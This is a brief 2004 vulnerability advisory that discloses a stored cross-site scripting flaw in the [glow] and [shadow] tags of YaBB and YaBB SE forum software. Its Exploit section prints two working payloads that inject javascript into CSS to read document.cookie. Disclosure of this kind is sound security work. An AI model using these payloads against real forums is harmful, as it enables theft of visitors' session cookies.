YaBB/YaBBse Cross Site Scripting Vulnerability

[Cheng Peng Su <apple_soup () msn com>]

#####################################################################

 Advisory Name : YaBB/YaBBse Cross Site Scripting Vulnerability
  Release Date : Mar 14,2004 
   Application : YaBB/YaBBse
       Test On : YaBB 1 Gold(SP1.3)
                 YaBB SE 1.5.1 Final
    Vendor URL : http://www.yabbforum.com/
                 http://www.yabbse.org/
      Discover : Cheng Peng Su(apple_soup_at_msn.com)
     
#####################################################################

  Proof of conecpt:
      The problem is in [glow] and [shadow] tag,yabb doesn't filter
   the charactor in this tag,attack needn't visitor to click any 
   links,just when the vistor read the thread,XSS code will be 
   executed.
  
  Exploit:
   [glow=red);background:url(javascript:alert(document.cookie));filte
   r:glow(color=red,2,300]Big Exploit[/glow]
   [shadow=red);background:url(javascript:alert(document.cookie));fil
   ter:shadow(color=red,left,300]Big Exploit[/shadow]
   
  Contact:
   Cheng Peng Su
   Class 1,Senior 2,High school attached to Wuhan University
   Wuhan,Hubei,China(430072)
   apple_soup_at_msn.com